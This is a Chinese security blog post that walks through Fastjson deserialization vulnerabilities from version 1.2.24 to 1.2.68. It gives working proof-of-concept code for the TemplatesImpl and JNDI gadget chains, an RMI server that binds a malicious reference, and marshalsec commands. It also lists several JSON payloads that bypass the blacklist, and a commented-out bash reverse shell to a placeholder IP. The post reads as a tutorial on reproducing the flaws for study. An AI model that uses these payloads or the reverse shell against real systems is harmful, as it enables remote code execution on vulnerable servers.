Fastjson反序列化
@TOC
欢迎大家关注我的公众号“嘀嗒安全”
最近log4j的漏洞很火,他的复现步骤和fastjson相似 所以来复现学习一些,希望对大家有一点帮助
一、简介
Java 序列化及反序列化处理在基于Java 架构的Web应用中具有尤为重要的作用。例如位于网络两端、彼此不共享内存信息的两个Web应用在进行远程通信时,无论相互间发送何种类型的数据,在网络中实际上都是以二进制序列的形式传输的。为此,发送方必须将要发送的Java 对象序列化为字节流,接收方则需要将字节流再反序列化还原得到Java 对象,才能实现正常通信。当攻击者输入精心构造的字节流被反序列化为恶意对象时,就会造成一系列的安全问题。
二、序列化与反序列化
序列化是指将对象按照一定格式转化为字节流或字符串。
反序列化是序列化的逆过程,将具有一定格式的字节流或字符串还原成对象。
Fastjson可以将对象转换成Json字符串,XMLDecoder 可以将XML字符串还原成字符串,所以也是序列化和反序列化。
序列化可以将对象转换成字节流后保存、传输。反序列化则可以将字节流转换成对象,注入进程序之中,也就是说,不加以控制的反序列化,可以在程序中注入任意一个对象。
三、Fastjson漏洞介绍
与原生的java反序列化相比,FastJson未使用readObject()方法进行反序列化,而是使用了自定义的一套方法,在反序列化的过程中,调用getter和setter方法将JSON字符串还原成对象。
1.2.24版本发布了反序列化漏洞,1.2.25关闭了默认开启的AutoType并加入黑名单
1.2.41和1.2.42 对类名处理不当,造成黑名单绕过
1.2.45中发现了不在黑名单中的利用类
1.2.47中发现了缓存机制可以绕过AutoType
1.2.68又通过缓存绕过了AutoType
从上述Fastjson反序列化漏洞的演化历程可以看出,针对Fastjson的漏洞挖掘主要在于以下两个方面。
· 寻找新的利用链,绕过黑名单。
· 寻找绕过AutoType的方式。
1、漏洞原理
FastJson将JSON还原成对象的方法有三种
- parse(String text)
- parseObject(String text)
- parseObject(String text,Class\clazz)
当通过这3种方法将JSON还原成对象时,FastJson自动调用类中的setter方法和无参构造函数,以及满足条件的getter方法:
- 只存在getter方法,无setter方法
- 方法名称长度大于等于4
- 非静态方法
- 方法名以get开头,且第四个字符为大写字母如getAge
- 方法无需传参
- 方法返回值集成自Collection,Map,AtomicBoolean,AtomicInteger,AtomicLong的其中一种
parseObject(String text)方法将JSON串还原成对象后,会再调用一个xxx方法,所以类中搜易getter方法都会被执行
2、RMI
Java远程方法调用,即Java RMI (Java Remote Method Invocation),即允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以运行在相同计算机上的不同进程中,也可以运行在网络上的不同计算机中。在网络传输的过程中,RMI中的对象是通过序列化方式进行编码传输的。这意味着,RMI在接收到经过序列化编码的对象后会进行反序列化。
ps:实验要修改\jdk1.8.0_191\jre\lib\security\java.security文件
#sun.rmi.registry.registryFilter=\
sun.rmi.registry.registryFilter=*
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1088 CommonsCollections5 "calc"
利用ysoserial攻击目标RMI开启的1088端口,RMI自动反序列化目标传过来的字节流,攻击要求,已知目标端口,已知所用的组件
3、JNDI
JNDI (Java Naming and Directory Interface) 是一组应用程序接口,目的是方便查找远程或是本地对象。典型的应用场景是配置数据源,除此之外,JNDI还可以访问现有的目录和服务,例如:LDAP、RMI、CORBA、DNS、NDS、NIS。
当程序通过JNDI获取外部远程对象过程中,程序被控制访问恶意的服务地址(例如:指向恶意的RMI服务地址),并加载和实例化恶意对象时,将会造成JNDI注入。JNDI注入利用过程如下。
- 当客户端程序中调用了InitialContext.lookup(url),且url可被输入控制,指向精心构造好的RMI服务地址。
- 恶意的RMI服务会向受攻击的客户端返回一个Reference,用于获取恶意的Factory类。
- 当客户端执行lookup()时,会对恶意的Factory类进行加载并实例化,通过factory.getObjectInstance()获取外部远程对象实例。
- 攻击者在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到远程代码执行的效果。
编译生成.class文件
在文件目录下开启http服务
python -m http.server
使用marshalsec工具,开启监听本地的1099端口
java -cp marshalsec.jar marshalsec.jnid.RMIRefServer http://127.0.0.1:8000/#eval.class 1099
在程序中构造恶意代码
被攻击的程序会先连接到工具启动的RMI服务
会去http服务上获取恶意的类
恶意的类因为写在了静态代码块中,加载时就会自动调用
4、JEP290
JEP290是官方发布的用于缓解反序列化漏洞的措施,从8u121,7u13,6u141版本开始,JDK为RMI注册表和RMI分布式垃圾收集器内置了过滤器,只允许特定的类进行反序列化。
四、编写的简单测试的环境
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class FastJsonDemo {
public static void main(String[] args){
String str = command;
JSON.parse(str, Feature.SupportNonPublicField);
/*
还可以是JNDI的方式
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1999/Exploit",
"autoCommit": true
}
*/
}
}
五、漏洞版本
1、fastjson<=1.2.24
1.1、TemplatesImpl 利用链分析
首先使用parseObject对payload进行反序列化。parseObject会调用payload中存储的@type信息,即Templateslmpl的getter,setter,和构造方法。
在TypeUtil.class中下断点,此处加载Templateslmpl类。
这里调用了getter方法,getOutputProperties
调用newTransformer方法
调用getTransletInstance方法
这里会调用defineTransletClasses,通过传入的_bytecodes生成 _class
此处可以看到成功传入类名,调用newInstance实例化为tranlet对象
此处调用恶意构造方法
完整的利用链
编译EvilObject.java成EvilObject.class
先看poc,其中NASTY_CLASS为TemplatesImpl类,evilCode是EvilObject.class base64编码:
final String evilClassPath = "E:\\Struts2-Vulenv-master\\PoCs-fastjson1241\\src\\main\\java\\org\\lain\\poc\\TemplatesImpl\\EvilObject.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;";
String payload = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_transletIndex\":0,\"_auxClasses\":{},\"_outputProperties\":{ }";
下面看下Poc是怎么构造的,当使用fastjson解析json时,会自动调用其属性的get方法。
TypeUtils.clss return loadClass处下断点,会加载TemplatesImpl类
继续调试,这里调用了getOutputProperties方法
调用new TransformerImpl方法,这时_OutputProperties已经赋值
调用newTransformer方法
调用getTransletInstance方法,并对我们传入的_name进行判断,这里就是为什么_name字段需要进行赋值
又判断_class,这里会调用defineTransletClasses,
这里就用到了_tfactory,这里也是他必须为{}(这里就是将它赋值为了一个对象),这段代买主要就是获得了一个类加载器,_tfactory设置为对象后,这里的代码就不会报错了,
继续执行,程序就会通过传入的_bytecodes生成 _class
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ecF2r0mL-1640942062042)(fastjson.assets/image-20211222003734154.png)]
此处可以看到成功传入了我们定义的恶意类的类名
然后就会在这里调用了恶意代码
总的来说,首先_bytecodes会传入 getTransletInstance方法中的defineTransletClasses方法,defineTransletClasses方法会根据_bytecodes字节数组new一个_class,_bytecodes加载到_class中,最后根据_class,用newInstance生成一个java实例
利用链大致就是这个(大佬的图)
将包含恶意代码的java文件使用javac生成.class文件
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilObject /*extends AbstractTranslet */{
public EvilObject() throws IOException {
Runtime.getRuntime().exec("open /Applications/Calculator.app");
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
//test
EvilObject evilObject = new EvilObject();
}
}
将文件中的内容进行base64编码,然后放入payload中
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["恶意代码"],'_name':'xx','_tfactory':{ },"_outputProperties":{ }}
这里附一个恶意代码和poc一起生成的文件
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.net.util.Base64;
public class TemplatesImplPoc2 {
public static class test{
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(test.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "nice0e3"+System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
// 将生成的class文件保存当当前项目目录下
cc.writeFile("./");
try {
byte[] evilCode = cc.toBytecode();
String evilCode_base64 = new String(Base64.encodeBase64(evilCode));
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'a.b',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}\n";
// 输出构造好的POC
System.out.println(text1);
ParserConfig config = new ParserConfig();
// fastjson解析POC
// Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField 在parseObject中才能触发;
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}
大概流程是先创建一个TemplatesImpl对象,再使用Javassist动态编程创建一个恶意类,由于这个恶意类是自定义的,因此可以通过该类执行任何想要执行的代码,比如Runtime.getRuntime().exec(“calc.exe”)。一个类在初始化时会自动执行静态代码块里的代码,因此可以将Runtime.getRuntime().exec(“calc.exe”)写在恶意类的静态代码块中,在初始化的过程中自动执行。恶意类会被转化成一个byte数组,并传递给TemplatesImpl的_ bytecodes属性。
主要注意的点
-
恶意代码在_bytecodes中,生成的恶意代码必须进行base64解码
-
TemplatesImpl链中必须得继承父类
-
_tfactory是一个对象
-
_name不能为空
-
_outputProperties 是properties类型,他的get和set方法都会被执行加粗样式
生成的poc
{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'xx','_tfactory':{ },\"_outputProperties\":{ }}
将poc当成恶意代码传入目标中执行后就会弹出一个计算器
1.2、JNDI利用链分析
Gadget com.sun.rowset.JdbcRowSetImpl
setAutoCommit() -> connect() -> InitialContext.lookup()
poc如下,dataSourceName 为rmi://localhost:1090/evil:
String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\","
+ "\"dataSourceName\":\"" + dataSourceName + "\","
+ "\"autoCommit\":\"true\"}";
RMIServer代码如下:
package org.lain.poc.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
* @author: lanqihe
* @Date: 下午8:01 2017/12/11
* @Modified By:
* @Description: 本地注册一个register,并将恶意的类绑定
*/
public class RMIServer {
public static void main(String argv[]) {
try {
Registry registry = LocateRegistry.createRegistry(1090);
//如果通过rmi无法找到org.lain.poc.jndi.EvilObjectFactory,则尝试从factoryLocation 获取
//因此,本地测试的话,如果factory正确,factoryLocation随便填写
Reference reference = new Reference("EvilObject",
"org.lain.poc.jndi.EvilObjectFactory",
"http://localhost:9999/" );
//客户端通过evil查找,获取到EvilObject
registry.bind("evil", new ReferenceWrapper(reference));
System.out.println("Ready!");
System.out.println("Waiting for connection......");
} catch (Exception e) {
System.out.println("RMIServer: " + e.getMessage());
e.printStackTrace();
}
}
}
调试过程如下:
首先会加载com.sun.rowset.JdbcRowSetImpl类
这里获得了我们传入参数中@type的值,这个就是要要加载的类
因为poc中的autoCommit设置为true.会调用setAutoCommit方法
继续调试,就会进入connect()方法中,调用lookup方法
因为初始化的时候getDataSourceName
为空,进入else
,下断点得到 RMI 的 url 为rmi://127.0.0.1:1099/badClassName
,并传入setDataSourceNmame()
。
通过lookup方法就实例化了恶意类,从而导致构造方法的恶意代码触发。
总结:fastjson @type的值传入类,在解析json时,就会调用传入属性的getter,setter方法。如果找到一个类getter,setter能够传入可控的恶意class字节码或者是jdni服务,就能导致rce.
@type :指定恶意利⽤类为 com.sun.rowset.JdbcRowSetImpl
dataSourceName :指定 RMI / LDAP 恶意服务器,并调⽤ setDataSourceName 函数
autoCommit :调⽤ setAutoCommit 函数。
1.3、JNDI利用
首先将以下代码保存为Exploit.java(可以根据操作系统类型更改自己想要执行的命令)
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});
//Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
使用javac命令编译Exploit.java文件,生成一个Exploit.class文件
javac Exploit.java
使用python开启一个http服务并把生成的Exploit.class文件,放到vps的web目录下
python3 -m http.server
使用marshalsec启动一个RMI服务器,或者ladp服务器。
下载地址:https://github.com/mbechler/marshalsec
下载后切换到marshalsec目录下使用maven进行打包。
mvn clean package -DskipTests
把target下的marshalsec-0.0.3-SNAPSHOT-all.jar上传到公网vps上。
可以使用RMI或者LDAP的服务,将reference result 重定向到web服务器(即文件Exploit.class的存放位置)。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8000/#Exploit" 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 9999
发送payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999/Exploit", "autoCommit":true}
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/Exploit", "autoCommit":true}
成功执行了系统命令
1.4、官方进行的修复
astjson 1.2.25版本中引入了checkAutotype,其中增加了黑白名单的校验,用于缓解反序列化漏洞的产生,并且将内置的黑白名单进行加密,增加了绕过黑白名单的研究成本。
通常,以下几种类型的类可以通过校验。
· 缓存 mapping 中的类。
· 白名单中的类。
· 开启 autotype的类。
· 指定的期望类(expectClass)。
· 使用JSONType 注解的类。
Fastjson优先从mapping中获取类,当成功获取时,其不会进行黑白名单的安全检测,因此可以通过寻找将类加入缓存的方法,达到从逻辑层面上绕过checkAutoType检测的目的,所以绕过checkAutoType安全机制是一种逻辑漏洞。
2、fastjson<=1.2.41
第一个Fastjson反序列化漏洞爆出后,阿里在1.2.25版本设置了autoTypeSupport属性默认为false,并且增加了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。
com.sun.rowset.JdbcRowSetImpl在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名再加载进来,因此在原类名头部加L,尾部加;即可绕过黑名单的同时加载类。
exp:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
3、fastjson<=1.2.42
fastjson在1.2.42版本新增了校验机制。
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME == 0x9195c07b5af5345L)
{
throw new JSONException("autoType is not support. " + typeName);
}
// 9195c07b5af5345
className = className.substring(1, className.length() - 1);
}
如果输入类名的开头和结尾是L和;就将头和尾去掉,再进行黑名单验证。
绕过方法,在类名外部嵌套2层L;。
原类名:com.sun.rowset.JdbcRowSetImpl
绕过: LLcom.sun.rowset.JdbcRowSetImpl;;
exp:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
4、fastjson<=1.2.45
前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。
使用黑名单绕过,org.apache.ibatis.datasource在1.2.46版本被加入了黑名单
由于在项目中使用的频率也较高,所以影响范围较大。
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
5、fastjson<=1.2.47
这个版本发生了不开启autotype情况下能利用成功的绕过,对版本小于1.2.48的版本通杀。
这次的绕过:
利用到了java.lang.class,这个类不在黑名单,所以checkAutotype可以绕过,
然后就和之前流程一样调用 deserializer.deserialze 来处理我们传入的clazz,也就是java.lang.class
这个java.lang.class类对应的deserializer为MiscCodec
deserialize时会取json串中的val值并load这个val对应的class,如果fastjson cache为true,就会缓存这个val对应的class到全局map中
如果再次加载val名称的class,并且autotype没开启(因为开启了会先检测黑白名单,所以这个漏洞开启了反而不成功),下一步就是会尝试从全局map中获取这个class,如果获取到了,直接返回
exp:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://x.x.x.x:1098/jndi",
"autoCommit": true
}
}
6、1.2.48<=fastjson<1.2.68
这个几个版本中都是对黑名单的绕过
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}
7、fastjson<=1.2.68
本次是java.lang.AutoCloseable导致的exceptClass为非NULL
poc
{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"oracle.jdbc.rowset.OracleJDBCRowSet\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"command\":\"111\"}"
- 点赞
- 收藏
- 关注作者
评论(0)